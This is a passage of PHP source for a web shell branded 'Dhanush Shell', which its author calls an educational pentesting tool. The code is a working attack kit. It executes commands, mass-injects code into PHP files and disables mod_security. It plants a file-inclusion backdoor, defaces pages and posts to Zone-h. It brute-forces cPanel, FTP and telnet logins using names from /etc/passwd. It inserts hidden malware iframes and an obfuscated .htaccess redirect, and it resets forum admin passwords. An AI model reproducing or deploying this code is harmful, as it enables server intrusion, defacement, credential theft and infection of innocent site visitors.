  1176.     {
  1177.         ob_start(); //start output buffering
  1178.         system($command);
  1179.         $output = ob_get_contents();    // Get the ouput
  1180.         ob_end_clean();                 // Stop output buffering
  1181.     }
  1182.     else if(function_exists('passthru'))
  1183.     {
  1184.         ob_start(); //start output buffering
  1185.         passthru($command);
  1186.         $output = ob_get_contents();    // Get the ouput
  1187.         ob_end_clean();                 // Stop output buffering            
  1188.     }
  1189.     else if(function_exists('proc_open'))
  1190.     {
  1191.         $descriptorspec = array(
  1192.                 1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
  1193.                 );
  1194.         $handle = proc_open($command ,$descriptorspec , $pipes); // This will return the output to an array 'pipes'
  1195.         if(is_resource($handle))
  1196.         {
  1197.             if(function_exists('fread') && function_exists('feof'))
  1198.             {
  1199.                 while(!feof($pipes[1]))
  1200.                 {
  1201.                     $output .= fread($pipes[1], 512);
  1202.                 }
  1203.             }
  1204.             else if(function_exists('fgets') && function_exists('feof'))
  1205.             {
  1206.                 while(!feof($pipes[1]))
  1207.                 {
  1208.                     $output .= fgets($pipes[1],512);
  1209.                 }
  1210.             }
  1211.         }
  1212.         pclose($handle);
  1213.     }
  1214.     return(htmlspecialchars($output));
  1215. }
  1216. $basedir=(ini_get("open_basedir") or strtoupper(ini_get("open_basedir"))=="ON")?"<font class=txt>ON</font>":"OFF";
  1217. $etc_passwd=@is_readable("/etc/passwd")?"Yes":"No";
  1218. ?>
  1219. <div align="center">
  1220. <a href="<?php $_SERVER['PHP_SELF'];?>"><span class=headtitle><font style="letter-spacing:3px;" face="Times New Roman, Times, serif" size="6">[ --Dhanush-- ]</font></span></a>
  1221. </div>
  1222. <hr color="#1B1B1B">
  1223. <table cellpadding="0" style="width:100%;">
  1224.     <tr>
  1225.         <td colspan="3" style="width:85%;">System Info : <font class="txt"><?php systeminfo(); ?></font></td>
  1226.         <td style="width:15%;"><a href="<?php $_SERVER['PHP_SELF'];?>?com=info" target="_blank"><font class="txt"><i>Software Info</i></font></a></td>
  1227.     </tr>
  1228.     <tr>
  1229.         <td style="width:85%;" colspan="3">Software : <font class="txt"><?php softwareinfo(); ?></font></td>
  1230.         <td style="width:15%;">Server Port : <font class="txt"><?php serverport(); ?></font></td>
  1231.     </tr>
  1232.     <?php if($os != 'Windows' || shell_exec("id") != null) { ?><tr>
  1233.         <td style="width:75%;" colspan="3">Uid : <font class="txt"><?php echo shell_exec("id"); ?></font></td>
  1234.     </tr><?php } ?>
  1235.     <tr>
  1236.         <td style="width:20%;">Disk Space : <font class="txt"><?php diskSpace(); ?></font></td>
  1237.         <td style="width:20%;">Free Space : <font class="txt"><?php freeSpace(); ?></font></td>
  1238.         <td style="width:20%;">Server IP : <a href="http://whois.domaintools.com/<?php serverip(); ?>"><font class="txt"><?php serverip(); ?></font></a></td>
  1239.         <td style="width:15%;">Your IP : <font class="txt"><a href="http://whois.domaintools.com/<?php yourip(); ?>"><font class="txt"><?php yourip(); ?></font></a></td>
  1240.     </tr>
  1241.     <tr>
  1242.         <?php if($os == 'Windows'){ ?><td style="width:15%;">View Directories : <font class="txt"><?php echo showDrives();?></font></td><?php } ?>
  1243.         <?php if($os != 'Windows'){ ?><td colspan=2 style="width:20%;">Current Directory : <font color="#009900"><?php
  1244.             $d = str_replace("\\",$directorysperator,$dir);
  1245.     if (substr($d,-1) != $directorysperator) {$d .= $directorysperator;}
  1246.     $d = str_replace("\\\\","\\",$d);
  1247.     $dispd = htmlspecialchars($d);
  1248.     $pd = $e = explode($directorysperator,substr($d,0,-1));
  1249.     $i = 0;
  1250.     foreach($pd as $b)
  1251.     {
  1252.      $t = '';
  1253.      $j = 0;
  1254.      foreach ($e as $r)
  1255.      {
  1256.       $t.= $r.$directorysperator;
  1257.       if ($j == $i) {break;}
  1258.       $j++;
  1259.      }
  1260.     $href='dir='.$t;
  1261.      echo '<a href="'.$self."?$href\"><b><font class=\"txt\">".htmlspecialchars($b).$directorysperator.'</font></b></a>';
  1262.      $i++;
  1263.     }
  1264.         ?></font></td><?php } ?>
  1265.         <td style="width:20%;">Disable functions : <font class="txt"><?php echo getDisabledFunctions(); ?> </font></td>
  1266.         <td>Safe Mode : <font class=txt><?php echo safe(); ?></font></td>
  1267.     </tr>
  1268.     </table>
  1269. <table border="3" style="border-color:#333333;" width="100%;" cellpadding="2">
  1270.     <tr>
  1271.         <td style="border:none;"><a href="<?php echo $self.'?symlinkserver'?>"><font class="mainmenu">[Symlink]</font></a></td>
  1272.         <td style="border:none;"><a href="<?php echo $self.'?forum'?>"><font class=mainmenu>[Forum]</font></a></td>
  1273.         <td style="border:none;"><a href="<?php echo $self.'?secinfo'?>"><font class=mainmenu>[Sec. Info]</font></a></td>
  1274.         <td style="border:none;"><a href="<?php echo $self.'?injector'?>"><font class=mainmenu>[Code Inject]</font></a></td>
  1275.         <td style="border:none;"><a href="<?php echo $self.'?bypass';?>"><font class=mainmenu>[Bypassers]</font></a></td>
  1276.         <td style="border:none;"><a href="<?php echo $self.'?fuzz'?>"><font class=mainmenu>[Server Fuzzer]</font></a></td>
  1277.         <td style="border:none;"><a href="<?php echo $self.'?zone'?>"><font class=mainmenu>[Zone-h]</font></a></td>
  1278.         <td style="border:none;"><a href="<?php echo $self.'?dos';?>"><font class=mainmenu>[DoS]</font></a></td>
  1279.         <td style="border:none;"><a href="<?php echo $self.'?mailbomb'?>"><font class=mainmenu>[Mail]</font></a></td>
  1280.         <td style="border:none;"><a href="<?php echo $self.'?tools'?>"><font class=mainmenu>[Tools]</font></a></td>
  1281.         <td style="border:none;"><a href="<?php echo $self.'?phpc';?>"><font class=mainmenu>[PHP]</font></a></td>
  1282.         <td style="border:none;"><a href="<?php echo $self.'?exploit'?>"><font class=mainmenu>[Exploit]</font></a></td>
  1283.         <td style="border:none;"><a href="<?php echo $self.'?connect'?>"><font class=mainmenu>[Connect]</font></a></td>
  1284.         <td style="border:none;"><a href="<?php echo $self.'?database'?>"><font class=mainmenu>[SQL]</font></a></td>
  1285.     </tr>
  1286. </table>
  1287. <div style="float:left;">
  1288.     <a href="javascript:history.back(1)"><font style="font-size:14px;"> [Back] </font></a>&nbsp;
  1289.     <a href="javascript:history.go(1)"><font style="font-size:14px;"> [Forward] </font></a>&nbsp;
  1290.     <a href=""><font style="font-size:14px;"> [Refresh] </font></a>&nbsp;</div>
  1291. <table style="margin-left:270px; border-color:#333333;" border="2" width="60%;" cellpadding="2">
  1292.     <tr align="center">
  1293.         <td style="border:none;"><a href="<?php echo $self.'?404'?>"><font class=mainmenu>[404 Page]</font></a></td>
  1294.         <td style="border:none;"><a href="<?php echo $self.'?malattack&dir='. $dir;?>"><font class=mainmenu>[Malware Attack]</a></td>
  1295.         <td style="border:none;"><a href="<?php echo $self.'?cpanel'?>"><font class=mainmenu>[Cpanel Cracker]</font></a></td>
  1296.         <td style="border:none;"><a href="<?php echo $self.'?about'?>"><font class=mainmenu>[About]</font></a></td>
  1297.         <td style="border:none;"><a href="<?php echo $self.'?selfkill'?>" onClick="if(confirm('Are You Sure You Want To Kill This Shell ?')){return true;}else{return false;}"><font class=mainmenu>[SelfKill]</font></a></td>
  1298.         <td style="border:none;"><a href="<?php echo $self.'?logout'?>"><font class=mainmenu>[LogOut]</font></a></td>
  1299.     </tr>
  1300. </table>
  1301. <table align="center" class="pwdtbl"><br>
  1302.     <tr>
  1303.         <form method="GET"  action="<?php echo $self; ?>">
  1304.         <td style="width:35%;" align="right"> <font style="font-size:14px;">Present Working Directory</font> : </td><td style="width:20%;"><input name="dir" class="box" style="width:300px;" value="<?php if($dir == null){echo getcwd();} else { echo $dir; } ?>"/></td>
  1305.         <td><input type="submit" value="  Go  " class="but" /></td><td align="right"><?php if($os == "Linux") { ?>
  1306.         <a href="<?php echo $self.'?downloadit'; ?>"><font class="txt">Download It</font></a><?php } ?></td>
  1307.         </form>
  1308.     </tr>
  1309. </table>
  1310. <?php
  1311. if(isset($_POST['pathtomass']) &&  $_POST['pathtomass'] != '' &&  isset($_POST['filetype']) &&  $_POST['filetype'] != '' &&  isset($_POST['mode']) &&  $_POST['mode'] != '' && isset($_POST['injectthis']) &&  $_POST['injectthis'] != '')
  1312.     {
  1313.         //$dir = $_GET['dir'];
  1314.         $filetype = $_POST['filetype'];
  1315.         //$message = $_GET['message'];
  1316.         $mode = "a"; //default mode
  1317.         // Modes Begin
  1318.         if($_POST['mode'] == 'Apender')
  1319.         {
  1320.             $mode = "a";
  1321.         }
  1322.         if($_POST['mode'] == 'Overwriter')
  1323.         {
  1324.             $mode = "w";
  1325.         }
  1326.         if ($_POST['filetype'] == 'php')
  1327.         {
  1328.             if (is_dir($_POST['pathtomass']))
  1329.             {
  1330.                 $lolinject = $_POST['injectthis'];
  1331.                 foreach (glob($_POST['pathtomass'] . $directorysperator . "*.php") as $injectj00)
  1332.                 {
  1333.                     $fp=fopen($injectj00,$mode);
  1334.                     if (fputs($fp,$lolinject)){
  1335.                         echo '<br><font class=txt>'.$injectj00.' was injected<br></font>';
  1336.                 } else {
  1337.                         echo 'failed to inject '.$injectj00.'';
  1338.                 }
  1339.             }
  1340.         } else
  1341.             { //end if inputted dir is real -- if not, show an ugly red error
  1342.             echo '<b>'.$_POST['pathtomass'].' is not available!</b>';
  1343.             } // end if inputted dir is real, for real this time
  1344.         } // end if confirmation to mass sploit is php only
  1345.     } // end if massbrowsersploit is called
  1346. if(isset($_GET['set404']))
  1347. {
  1348.     echo "<center><blink><font color=lime>Done setting 404 Page</font></blink></center>";
  1349. }
  1350. if(isset($_GET['cannotset404']))
  1351. {
  1352.     echo "<center><blink><font color=red>Cannot Set 404 Page</font></blink></center>";
  1353. }
  1354. if(isset($_GET['to']) && isset($_GET['file']))
  1355. {
  1356.      if(!rename($_GET['file'], $_GET['to']))
  1357.      {
  1358.         $loc = $_SERVER["SCRIPT_NAME"] . "?dir=" . $_GET['getdir'];
  1359.         header("Location:$loc");
  1360.         ob_end_flush();
  1361.      }
  1362.      else
  1363.      {
  1364.         $loc = $_SERVER["SCRIPT_NAME"] . "?dir=" . $_GET['getdir'];
  1365.         header("Location:$loc");
  1366.         ob_end_flush();
  1367.      }
  1368. }
  1369.     if(isset($_POST["changeperms"]))
  1370.     {
  1371.         if($_POST['chmode'] != null && is_numeric($_POST['chmode']))
  1372.         {
  1373.             $perms = 0;
  1374.             for($i=strlen($_POST['chmode'])-1;$i>=0;--$i)
  1375.                 $perms += (int)$_POST['chmode'][$i]*pow(8, (strlen($_POST['chmode'])-$i-1));
  1376.             if(@chmod($_POST['myfilename'],$perms))
  1377.                 echo "<center><blink><font size=3>File Permissions Changed Successfully</font></blink></center>";
  1378.             else
  1379.                 echo "<center><blink><font size=3 class=txt>Cannot Change File Permissions</font></blink></center>";
  1380.         }
  1381.     }
  1382. $setuploadvalue = 0;
  1383. if(isset($_POST['u']))
  1384.     {
  1385.         $path = $_REQUEST['path'];
  1386.         if(is_dir($path))
  1387.         {
  1388.             $uploadedFilePath = $_FILES['uploadfile']['name'];
  1389.             //echo $uploadedFilePath;
  1390.             $tempName = $_FILES['uploadfile']['tmp_name'];
  1391.             //echo $tempName;
  1392.             if($os == "Windows")
  1393.                 $uploadPath = $path . $directorysperator .  $uploadedFilePath;
  1394.             else if($os == "Linux")
  1395.                  $uploadPath = $path . $directorysperator . $uploadedFilePath;
  1396.             if($stat = move_uploaded_file($_FILES['uploadfile']['tmp_name'] , $uploadPath))
  1397.             {
  1398.                echo "<center><font class=txt size=3><blink>File uploaded to $uploadPath</blink></font></center>";  
  1399.                //header("Location:");          
  1400.             }
  1401.             else
  1402.             {
  1403.                 echo "<center><font size=3><blink>Failed to upload file to $uploadPath</blink></font></center>";
  1404.             }
  1405.          }
  1406.     }
  1407.     if(isset($_POST['createdir']))
  1408.     {
  1409.         if(!mkdir($_POST['createfolder']))
  1410.             echo "Failed To create";
  1411.     }
  1412. if(isset($_POST['createmyfile'])&&isset($_POST['filecontent']))
  1413. {
  1414.     $content = $_POST['filecontent'];
  1415.     $file_pointer = fopen($_POST['filecreator'], "w+");
  1416.     fwrite($file_pointer, $content);
  1417.     fclose($file_pointer);
  1418.     $loc = $_SERVER['REQUEST_URI'];
  1419.     header("Location:$loc");
  1420.     ob_end_flush();
  1421. }
  1422. //Turn Safe Mode Off
  1423.     if(getDisabledFunctions() != "None" || safe() != "OFF")
  1424.     {
  1425.         $file_pointer = fopen(".htaccess", "w+");
  1426.         fwrite($file_pointer, "<IfModule mod_security.c>
  1427.                     SecFilterEngine Off
  1428.                      SecFilterScanPOST Off
  1429.                     </IfModule>");
  1430.         $file_pointer = fopen("ini.php", "w+");
  1431.         fwrite($file_pointer, "<?
  1432. echo ini_get(\"safe_mode\");
  1433. echo ini_get(\"open_basedir\");
  1434. include(\$_GET[\"file\"]);
  1435. ini_restore(\"safe_mode\");
  1436. ini_restore(\"open_basedir\");
  1437. echo ini_get(\"safe_mode\");
  1438. echo ini_get(\"open_basedir\");
  1439. include(\$_GET[\"ss\"]);
  1440. ?>");
  1441.         $file_pointer = fopen("php.ini", "w+");
  1442.         fwrite($file_pointer, "safe_mode               =       Off");
  1443.         fclose($file_pointer);
  1444.         //echo "Safe Mode Is Now Off..";
  1445.     }
  1446.     if(isset($_GET["downloadit"]))
  1447.     {
  1448.         $FolderToCompress = getcwd();
  1449.         execmd("tar --create --recursion --file=backup.tar $FolderToCompress");
  1450.         $prd=explode("/","backup.tar");
  1451.         for($i=0;$i<sizeof($prd);$i++)
  1452.         {
  1453.             $nfd=$prd[$i];
  1454.         }
  1455.         @ob_clean();
  1456.        header("Content-type: application/octet-stream");
  1457.        header("Content-length: ".filesize($nfd));
  1458.        header("Content-disposition: attachment; filename=\"".$nfd."\";");
  1459.        readfile($nfd);
  1460.        exit;
  1461.     }
  1462.     if(isset($_POST['uploadurl']))
  1463.     {
  1464.         $functiontype = trim($_POST['functiontype']);
  1465.         $wurl = trim($_POST['wurl']);
  1466.         $path = magicboom($_POST['path']);
  1467.         $namafile = remotedownload($functiontype,$wurl);
  1468.         $fullpath = $path . $directorysperator . $namafile;
  1469.         if(is_file($fullpath))
  1470.         {
  1471.             echo "<center><font class=txt size=3>File uploaded to $fullpath</font></center>";
  1472.         }
  1473.         else
  1474.             echo "<center><font size=3>Failed to upload $namafile</font></center>";
  1475.     }
  1476.     else if(isset($_GET['about']))
  1477.     { ?>
  1478.         <bR><center>
  1479.           <p><font size=6><u>D h a n u s h</u></font><br>
  1480.               <font size=5>[--==Coded By Arjun==--]</font><br>
  1481.             <br><div style='font-family: Courier New; font-size: 10px;'><pre>
  1482.        -  --  -
  1483.        -- -- --
  1484.        --    --
  1485.        ---  ---
  1486.        ------
  1487.        ----
  1488.    ----            
  1489.  ------          
  1490. -------          
  1491. ---   --          
  1492.       --      ---
  1493.       --      -----
  1494.      ---      --- ---
  1495.      ---    ---   ---
  1496. --   ---------     --
  1497. --    -------      --
  1498.  --     ----       --
  1499.   --     ---       --
  1500.   --     --        --
  1501.    ---  ---   --  ---
  1502.     ------    ------
  1503.      ----      ----
  1504.         </pre></div></center>
  1505.         Dhanush Shell is a PHP Script, created for checking the vulnerability and security of any web server or website. With this PHP script, the owner can check various vulnerablities present in the web server. This shell provide you almost every facility that the security analyst need for penetration testing. This is a "All In One" php script, so that the user do not need to go anywhere else.<br> This script is coded by an Indian Ethical Hacker.<br> This script is only coded for education purpose or testing on your own server.The developer of the script is not responsible for any damage or misuse of it<br><br><center><font size=5>GREETZ To All Indian Hackers</font><br><font size=6>| &#2332;&#2351; &#2350;&#2361;&#2366;&#2325;&#2366;&#2354; | | &#2332;&#2351; &#2361;&#2367;&#2344;&#2381;&#2342; |</font></center><br>
  1506.     <?php }
  1507.     // Zone-h Poster
  1508.     else if(isset($_GET["zone"]))
  1509.     {  
  1510.         if(!function_exists('curl_version'))
  1511.         {
  1512.             echo "<pre class=ml1 style='margin-top:5px'><center><font class=txt>PHP CURL NOT EXIT</font></center></pre>";
  1513.         }
  1514.         ?>
  1515.         <center><font size="4">Zone-h Poster</font></center>
  1516.         <form action="<?php echo $self; ?>" method="post">
  1517.         <table align="center" cellpadding="5" border="0">
  1518.         <tr>
  1519.         <td>
  1520.         <input type="text" name="defacer" value="Attacker" class="box" /></td></tr>
  1521.         <tr><td>
  1522.         <select name="hackmode" class="box">
  1523.             <option >--------SELECT--------</option>
  1524.             <option value="1">known vulnerability (i.e. unpatched system)</option>
  1525.             <option value="2" >undisclosed (new) vulnerability</option>
  1526.             <option value="3" >configuration / admin. mistake</option>
  1527.             <option value="4" >brute force attack</option>
  1528.             <option value="5" >social engineering</option>
  1529.             <option value="6" >Web Server intrusion</option>
  1530.             <option value="7" >Web Server external module intrusion</option>
  1531.             <option value="8" >Mail Server intrusion</option>
  1532.             <option value="9" >FTP Server intrusion</option>
  1533.             <option value="10" >SSH Server intrusion</option>
  1534.             <option value="11" >Telnet Server intrusion</option>
  1535.             <option value="12" >RPC Server intrusion</option>
  1536.             <option value="13" >Shares misconfiguration</option>
  1537.             <option value="14" >Other Server intrusion</option>
  1538.             <option value="15" >SQL Injection</option>
  1539.             <option value="16" >URL Poisoning</option>
  1540.             <option value="17" >File Inclusion</option>
  1541.             <option value="18" >Other Web Application bug</option>
  1542.             <option value="19" >Remote administrative panel access bruteforcing</option>
  1543.             <option value="20" >Remote administrative panel access password guessing</option>
  1544.             <option value="21" >Remote administrative panel access social engineering</option>
  1545.             <option value="22" >Attack against administrator(password stealing/sniffing)</option>
  1546.             <option value="23" >Access credentials through Man In the Middle attack</option>
  1547.             <option value="24" >Remote service password guessing</option>
  1548.             <option value="25" >Remote service password bruteforce</option>
  1549.             <option value="26" >Rerouting after attacking the Firewall</option>
  1550.             <option value="27" >Rerouting after attacking the Router</option>
  1551.             <option value="28" >DNS attack through social engineering</option>
  1552.             <option value="29" >DNS attack through cache poisoning</option>
  1553.             <option value="30" >Not available</option>
  1554.         </select>
  1555.         </td></tr>
  1556.         <tr><td>
  1557.         <select name="reason" class="box">
  1558.             <option >--------SELECT--------</option>
  1559.             <option value="1" >Heh...just for fun!</option>
  1560.             <option value="2" >Revenge against that website</option>
  1561.             <option value="3" >Political reasons</option>
  1562.             <option value="4" >As a challenge</option>
  1563.             <option value="5" >I just want to be the best defacer</option>
  1564.             <option value="6" >Patriotism</option>
  1565.             <option value="7" >Not available</option>
  1566.         </select></td></tr>
  1567.         <tr><td>
  1568.         <textarea name="domain" class="box" cols="47" rows="9">List Of Domains</textarea></td></tr>
  1569.         <tr><td>
  1570.         <input type="submit" class="but" value="Send Now !" name="SendNowToZoneH" /></td></tr></table>
  1571.         </form>
  1572.     <?php }
  1573.     // Deface Website
  1574.     else if(isset($_GET['deface']))
  1575.     {
  1576.         $myfile = fopen($_GET['deface'],'w');
  1577.         fwrite($myfile, base64_decode($ind));
  1578.         fclose($myfile);
  1579.         header("Location:$self");
  1580.         ob_end_flush();
  1581.     }
  1582.     // Cpanel Cracker
  1583.     else if(isset($_REQUEST['cpanel']))
  1584.     {
  1585.         $cpanel_port="2082";
  1586.         $connect_timeout=5;
  1587.         if(!isset($_POST['username']) && !isset($_POST['password']) && !isset($_POST['target']) && !isset($_POST['cracktype']))
  1588.         {
  1589.         ?>
  1590.         <center>
  1591.         <form method=post>
  1592.         <table style="width:50%;" class=tbl border=1 cellpadding=4>
  1593.             <tr>
  1594.                 <td align=center colspan=2>Target : <input type=text name="server" value="localhost" class=sbox></td>
  1595.             </tr>
  1596.             <tr>
  1597.                 <td align=center>User names</td><td align=center>Password</td>
  1598.             </tr>
  1599.             <tr>
  1600.                 <td align=center><textarea name=username rows=25 cols=22 class=box><?php
  1601.                 if($os != "Windows")
  1602.                 {
  1603.                     if(@file('/etc/passwd'))
  1604.                     {
  1605.                         $users = file('/etc/passwd');
  1606.                         foreach($users as $user)
  1607.                         {
  1608.                             $user = explode(':', $user);
  1609.                             echo $user[0] . "\n";
  1610.                         }
  1611.                     }
  1612.                     else
  1613.                     {
  1614.                         $temp = "";
  1615.                         $val1 = 0;
  1616.                         $val2 = 1000;
  1617.                         for(;$val1 <= $val2;$val1++)
  1618.                         {
  1619.                             $uid = @posix_getpwuid($val1);
  1620.                             if ($uid)
  1621.                                  $temp .= join(':',$uid)."\n";
  1622.                          }
  1623.                          $temp = trim($temp);
  1624.                          if($file5 = fopen("test.txt","w"))
  1625.                          {
  1626.                             fputs($file5,$temp);
  1627.                              fclose($file5);
  1628.                              $file = fopen("test.txt", "r");
  1629.                              while(!feof($file))
  1630.                              {
  1631.                                 $s = fgets($file);
  1632.                                 $matches = array();
  1633.                                 $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
  1634.                                 $matches = str_replace("home/","",$matches[1]);
  1635.                                 if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
  1636.                                     continue;
  1637.                                 echo $matches;
  1638.                             }
  1639.                             fclose($file);
  1640.                         }
  1641.                     }
  1642.                 }
  1643.                  ?></textarea></td><td align=center><textarea name=password rows=25 cols=22 class=box></textarea></td>
  1644.             </tr>
  1645.             <tr>
  1646.                 <td align=center colspan=2>Guess options : <label><input name="cracktype" type="radio" value="cpanel" checked> Cpanel(2082)</label><label><input name="cracktype" type="radio" value="ftp"> Ftp(21)</label><label><input name="cracktype" type="radio" value="telnet"> Telnet(23)</label></td>
  1647.             </tr>
  1648.             <tr>
  1649.                 <td align=center colspan=2>Timeout delay : <input type="text" name="delay" value=5 class=sbox></td>
  1650.             </tr>
  1651.             <tr>
  1652.                 <td align=center colspan=2><input type="submit" value="   Go    " class=but></td>
  1653.             </tr>
  1654.         </table>
  1655.         </form>
  1656.         </center>
  1657.         <?php
  1658.         }
  1659.         else
  1660.         {
  1661.             if(empty($_POST['username']) || empty($_POST['password']))
  1662.                 echo "<center>Please Enter The Users or Password List</center>";
  1663.             else
  1664.             {
  1665.                 $userlist=explode("\n",$_POST['username']);
  1666.                 $passlist=explode("\n",$_POST['password']);
  1667.                 if($_POST['cracktype'] == "ftp")
  1668.                 {
  1669.                     foreach ($userlist as $user)
  1670.                     {
  1671.                         $pureuser = trim($user);
  1672.                         foreach ($passlist as $password )
  1673.                         {
  1674.                             $purepass = trim($password);
  1675.                             ftp_check($_POST['target'],$pureuser,$purepass,$connect_timeout);
  1676.                         }
  1677.                     }
  1678.                 }
  1679.                 if ($_POST['cracktype'] == "cpanel" || $_POST['cracktype'] == "telnet")
  1680.                 {
  1681.                     if($cracktype == "telnet")
  1682.                     {
  1683.                         $cpanel_port="23";
  1684.                     }
  1685.                     else
  1686.                         $cpanel_port="2082";
  1687.                     foreach ($userlist as $user)
  1688.                     {
  1689.                         $pureuser = trim($user);
  1690.                         echo "<b><font face=Tahoma style=\"font-size: 9pt\" color=#008000> [ - ] </font><font face=Tahoma style=\"font-size: 9pt\" color=#FF0800>
  1691.                         Processing user $pureuser ...</font></b><br><br>";
  1692.                         foreach ($passlist as $password )
  1693.                         {
  1694.                             $purepass = trim($password);
  1695.                             cpanel_check($_POST['target'],$pureuser,$purepass,$connect_timeout);
  1696.                         }
  1697.                     }
  1698.                 }
  1699.             }
  1700.         }
  1701.     }
  1702.     // Deface Website
  1703.     else if(isset($_REQUEST['malattack']))
  1704.     {
  1705.         ?>
  1706.         <center><table><tr><td><a href="<?php echo $self; ?>?malattack&malware&dir=<?php echo $_GET['dir']; ?>"><font size="4">| Malware Attack |</font></a></td>
  1707.         <td><a href="<?php echo $self; ?>?malattack&codeinsert"><font size="4">| Insert Own Code |</font></a></td></tr></table></center><br>
  1708.         <?php
  1709.         if(isset($_GET['malware']))
  1710.         {
  1711.              ?>
  1712.         <center><table><tr><td><a href="<?php echo $self; ?>?malattack&malware&infect&dir=<?php echo $_GET['dir']; ?>"><font size="4">| Infect Users |</font></a></td>
  1713.         <td><a href="<?php echo $self; ?>?malattack&malware&redirect"><font size="4">| Redirect Search Engine TO Malwared site |</font></a></td></tr></table></center>
  1714.         <?php
  1715.             if(isset($_GET['redirect']))
  1716.             {
  1717.                 if($myfile = fopen(".htaccess",'a'))
  1718.                 {
  1719.                     $mal = "eNqV0UtrAjEQAOC70P8wYHsRyRa8FYpQSR9QXAmCBxHJrkMSjDNhk/pA/O+uFuyx5javj4GZLrzJj68xzLhZTRqM8aGjcNe4hJKMI4SSbpUyJMcUwZHFNr/VR0wreDp+TqeTpZLvUkl1AtHTcS1q3ojeI8zHo36pFv8Jw2w8ZoBNpMuK+0HlyOQJ77aYJzT7TOCT3rqYdB7Dfd0280xE3dRWHLRl/lV/RP14bEfAphReisJ4rrQPvGt/TcboZK8BXy9eOBLBhiG9Dp5hrvrfizOeH7rw";
  1720.                     fwrite($myfile, gzuncompress(base64_decode($mal)));
  1721.                     fwrite($myfile, "\n\r");
  1722.                     fclose($myfile);
  1723.                     $mydir = "dir=".$_GET['dir'];
  1724.                     header("Location:$self?malattack&$mydir");
  1725.                     ob_end_flush();
  1726.                 }
  1727.                 else
  1728.                     echo "<center>Cannot open file !!!!<center>";
  1729.             }
  1730.             else if(isset($_GET['infect']))
  1731.             {
  1732.                 $coun = 0;
  1733.                 $str = "<iframe width=0px height=0px frameborder=no name=frame1 src=".$malsite."> </iframe>";
  1734.                 foreach (glob($_GET['dir'] . $directorysperator . "*.php") as $injectj00)
  1735.                    {
  1736.                         if($myfile=fopen($injectj00,'a'))
  1737.                         {
  1738.                         fputs($myfile, $str);
  1739.                         fclose($myfile);
  1740.                         }
  1741.                         else
  1742.                         $coun = 1; 
  1743.                       }
  1744.                   foreach (glob($_GET['dir'] . $directorysperator . "*.htm") as $injectj00)
  1745.                   {
  1746.                         if($myfile=fopen($injectj00,'a'))
  1747.                         {  
  1748.                             fputs($myfile, $str);
  1749.                         fclose($myfile);
  1750.                         }
  1751.                         else
  1752.                         $coun = 1;
  1753.                      }
  1754.                   foreach (glob($_GET['dir'] . $directorysperator . "*.html") as $injectj00)
  1755.                   {
  1756.                         if($myfile=fopen($injectj00,'a'))
  1757.                         {
  1758.                         fputs($myfile, $str);
  1759.                         fclose($myfile);
  1760.                             }
  1761.                         else
  1762.                         $coun = 1;
  1763.                       }
  1764.                 if($coun == 0)
  1765.                     echo "<center>Done !!!!<center>";
  1766.                 else
  1767.                     echo "<center>Cannot open files !!!!<center>";
  1768.             }
  1769.         }
  1770.         else if(isset($_GET['codeinsert']))
  1771.         {
  1772.             if(!isset($_POST['code']))
  1773.             {
  1774.                 if($file1 = fopen(".htaccess",'r'))
  1775.                 { ?>
  1776.                 <form method=post>
  1777.                 <textarea rows=9 cols=110 name="code" class=box><?php while(!feof($file1)) { echo fgets($file1); } ?></textarea><br>
  1778.                 <input type="submit" value="  Insert  " class=but>
  1779.                 </form>
  1780.             <?php   }
  1781.                 else
  1782.                     echo "<center>Cannot Open File!!</center>";
  1783.             }else
  1784.             {
  1785.                 if($myfile = fopen(".htaccess",'a'))
  1786.                 {
  1787.                     fwrite($myfile, $_POST['code']);
  1788.                     fwrite($myfile, "\n\r");
  1789.                     fclose($myfile);
  1790.                     header("Location:$self?malattack");
  1791.                     ob_end_flush();
  1792.                 }
  1793.                 else
  1794.                     echo "Permission Denied";
  1795.             }
  1796.         }
  1797.     }
  1798.     // Password Change Forums
  1799.     else if(isset($_POST['forumpass']))
  1800.     {
  1801.         $localhost =  $_POST['f1'];
  1802.         $database =  $_POST['f2'];
  1803.         $username =  $_POST['f3'];
  1804.         $password =  $_POST['f4'];
  1805.         $prefix    =  $_POST['prefix'];
  1806.         $uid = $_POST['uid'];
  1807.         $newpass = $_POST['newpass'];
  1808.         if($_POST['forums'] == "vb")
  1809.         {  
  1810.             $con = mysql_connect($localhost,$username,$password);
  1811.             $db = mysql_select_db($database,$con);
  1812.             $salt = "eghjghrtd";
  1813.             $newpassword = md5(md5($newpass) . $salt);
  1814.             if($prefix == "" || $prefix == null)
  1815.                 $sql = mysql_query("update user set password = '$newpassword', salt = '$salt' where userid = '$uid'");
  1816.             else
  1817.                 $sql = mysql_query("update ".$prefix."user set password = '$newpassword', salt = '$salt' where userid = '$uid'");
  1818.             if($sql)
  1819.             {
  1820.                 mysql_close($con);
  1821.                 header("Location:$self?forum&passwordchange&changed");
  1822.                 ob_end_flush();
  1823.             }
  1824.             else
  1825.                 header("Location:$self?forum&passwordchange&cannotchange");
  1826.         }
  1827.         if($_POST['forums'] == "mybb")
  1828.         {  
  1829.             $con = mysql_connect($localhost,$username,$password);
  1830.             $db = mysql_select_db($database,$con);
  1831.             $salt = "jeghj";
  1832.             $newpassword = md5(md5($salt).$newpass);
  1833.             if($prefix == "" || $prefix == null)
  1834.                 $sql = mysql_query("update mybb_users set password = '$newpassword', salt = '$salt' where uid = '$uid'");
  1835.             else
  1836.                 $sql = mysql_query("update ".$prefix."users set password = '$newpassword', salt = '$salt' where uid = '$uid'");
  1837.             if($sql)
  1838.             {
  1839.                 mysql_close($con);
  1840.                 header("Location:$self?forum&passwordchange&changed");
  1841.                 ob_end_flush();
  1842.             }
  1843.             else
  1844.                 header("Location:$self?forum&passwordchange&cannotchange");
  1845.         }
  1846.         if($_POST['forums'] == "smf")
  1847.         {  
  1848.             $con = mysql_connect($localhost,$username,$password);
  1849.             $db = mysql_select_db($database,$con);
  1850.             $salt = "eghj";
  1851.             if($prefix == "" || $prefix == null)
  1852.             {
  1853.                 $result = mysql_query("select member_name from smf_members where id_member = 1");
  1854.                 $row = mysql_fetch_array($result);
  1855.                 $membername = $row['member_name'];
  1856.                 $newpassword = sha1(strtolower($membername).$newpass);
